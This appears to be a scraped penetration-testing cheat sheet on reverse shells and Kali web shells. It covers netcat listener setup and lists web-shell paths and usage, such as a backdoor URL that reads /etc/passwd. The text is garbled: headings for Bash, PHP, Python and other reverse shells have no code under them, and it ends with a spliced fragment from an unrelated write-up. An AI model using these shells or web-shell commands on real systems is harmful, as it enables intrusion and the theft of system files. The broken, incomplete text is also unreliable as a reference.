During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.

Below are a collection of reverse shells that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

Setup Listening Netcat

Your remote shell will need a listening netcat instance in order to connect back.

Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the following:

NAT requires a port forward

If you’re attacking machine is behing a NAT router, you’ll need to setup a port forward to the attacking machines IP / Port.

ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

PHP Reverse Shell

Netcat Reverse Shell

Telnet Reverse Shell

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

Perl Windows Reverse Shell

Ruby Reverse Shell

Java Reverse Shell

Python Reverse Shell

Gawk Reverse Shell

Kali Web Shells

The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

Pen Test Monkey – PHP Reverse Shell
Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-
Larger PHP shell, with a text input box for command execution.
Tip: Executing Reverse Shells

The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

Pen Test Monkey – Perl Reverse Shell
Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

/usr/share/webshells/cfm/cfexec.cfm Cold Fusion Shell – aka CFM Shell

Kali ASP Shell

/usr/share/webshells/asp/ Kali ASP Shells

Kali ASPX Shells

/usr/share/webshells/aspx/ Kali ASPX Shells

Kali JSP Reverse Shell

/usr/share/webshells/jsp/jsp-reverse.jsp Kali JSP Reverse Shell

You might want to read :

1- Kali Linux Hackers Cheat Sheet  https://www.ethicalhackx.com/kali-linux-hacking-commands-list



  1. At this point, I thought about trying to use some programming languages to do the shell connection. Python was unfortunately not installed in the machine ( python) but Perl actually existed ( perl) so by having this Perl reverse shell snippet from ethicalhackx:

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